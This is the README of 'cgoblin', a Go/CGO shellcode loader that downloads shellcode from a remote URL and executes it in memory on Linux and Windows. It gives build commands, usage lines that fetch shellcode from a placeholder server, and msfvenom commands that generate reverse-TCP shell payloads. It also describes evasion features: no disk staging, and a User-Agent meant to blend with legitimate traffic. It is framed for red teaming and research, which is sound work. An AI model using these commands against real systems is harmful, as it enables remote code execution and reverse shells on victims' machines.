🧌 CGOblin

September 1, 2025 · View on GitHub

cgoblin is a lightweight, cross-platform shellcode loader written in Go, capable of fetching and executing shellcode from a remote URL on both Linux and Windows systems. It leverages inline C via CGO to allocate executable memory and run position-independent machine code.

🔒 For educational and red teaming purposes only.

📦 Repository

URL: https://github.com/grisuno/cgoblin.git
Author: grisuno
Team: LazyOwn RedTeam

🚀 Features

✅ Cross-platform support (Linux & Windows)
✅ Remote shellcode loading via HTTP(S)
✅ Shellcode parsing from \xNN hex format
✅ Memory allocation with execution permissions:
- Uses mmap() on Linux
- Uses VirtualAlloc() on Windows
✅ Minimal footprint and no disk staging (in memory only)
✅ Custom User-Agent and secure HTTP client settings

Prerequisites

CGOblin requires a multi-language development environment supporting both Go and Python, with CGO compilation capabilities for system-level memory operations.

Core Requirements

Component Version Purpose

Go 1.24.2+ Core application runtime and compilation
Python 3.x Launcher script and development utilities [OPTIONAL]
CGO Enabled System call interface for memory operations
GCC/Clang Latest C compiler for CGO compilation

🛠️ Usage

Build

# Linux
GOOS=linux go build -o loader_linux main.go loader_linux.go

# Windows
GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -o loader_windows.exe

💡 Ensure CGO is enabled: CGO_ENABLED=1 (default when supported).

# Linux
# Example
./loader_linux -url http://your-server.com/shellcode.txt

# Windows
# Example
powershell .\loader_windows.exe -url http://your-server.com/shellcode.txt

# shellcode
# Example
unsigned char buf[] = "\x6a\x29\x58\x99\x...";

⚠️ The loader parses only sequences matching \x.. and ignores everything else.

# shellcode 
# Example Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f c -o shellcode_test.txt

# shellcode 
# Example Windows
msfvenom -p windows/x64/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f c -o shellcode_test.txt

# Tree
# Example
.
├── go.mod               # Go module definition
├── main.go              # Entry point with CLI flag parsing
├── loader_linux.go      # Linux-specific execution logic (CGO + mmap)
├── loader_windows.go    # Windows-specific execution logic (CGO + VirtualAlloc)
├── shellcode_linux.txt  # Example Linux shellcode (bind/reverse shell)
└── shellcode_win.txt    # Example Windows shellcode (e.g., Calc or Cmd)

📝 Example shellcode files are provided for testing (non-malicious use recommended).

🧪 Testing Safely

To test without risk:
Host a simple shellcode (e.g., execve("/bin/sh") on Linux or WinExec("calc.exe") on Windows).
Use local HTTP server:

# Webserver
# Example
python3 -m http.server 8000

Security and Operational Considerations

cgoblin implements several security-conscious design patterns:

Memory-only operations: No temporary files are created during shellcode processing
Custom HTTP headers: Configurable User-Agent strings to blend with legitimate traffic
Input validation: Shellcode size limits and format verification
Platform isolation: Platform-specific code paths prevent cross-contamination
CGO safety: Proper memory management in C interface layers

External Framework Integration

Relevant source files

Purpose and Scope This document covers how CGOblin integrates with external exploitation frameworks and automation systems. The integration system allows external tools to automatically configure, build, and execute the shellcode loader with dynamically generated payloads. This capability enables CGOblin to function as a component within larger penetration testing suites and automated exploitation frameworks.

For information about the core shellcode loading functionality, see Core Shellcode Loader System. For details about the build system that supports framework integration, see Build System.

Framework Integration Architecture

The external framework integration system uses a YAML-based configuration approach that defines how external tools can interact with CGOblin. The integration supports parameter-driven payload generation and automated execution workflows.

🛑 Disclaimer

This tool is intended for:

Security research
Red team operations
Authorized penetration testing
Do not use for unauthorized access or malicious purposes. The author and team assume no liability for misuse.

Compliance Framework

Users of cgoblin must ensure compliance with:

Local Computer Crime Laws: Unauthorized access laws vary by jurisdiction
Professional Ethics: Penetration testing codes of conduct
Contractual Obligations: Scope limitations in security assessments
Data Protection Regulations: Privacy laws when handling target systems

🤝 Team: LazyOwn RedTeam

A dedicated red team focused on offensive security, exploit development, and defensive evasion techniques.

"We break it to make it better — ethically."

📄 License

This project is open-source for educational use. See LICENSE for details (GPLv3).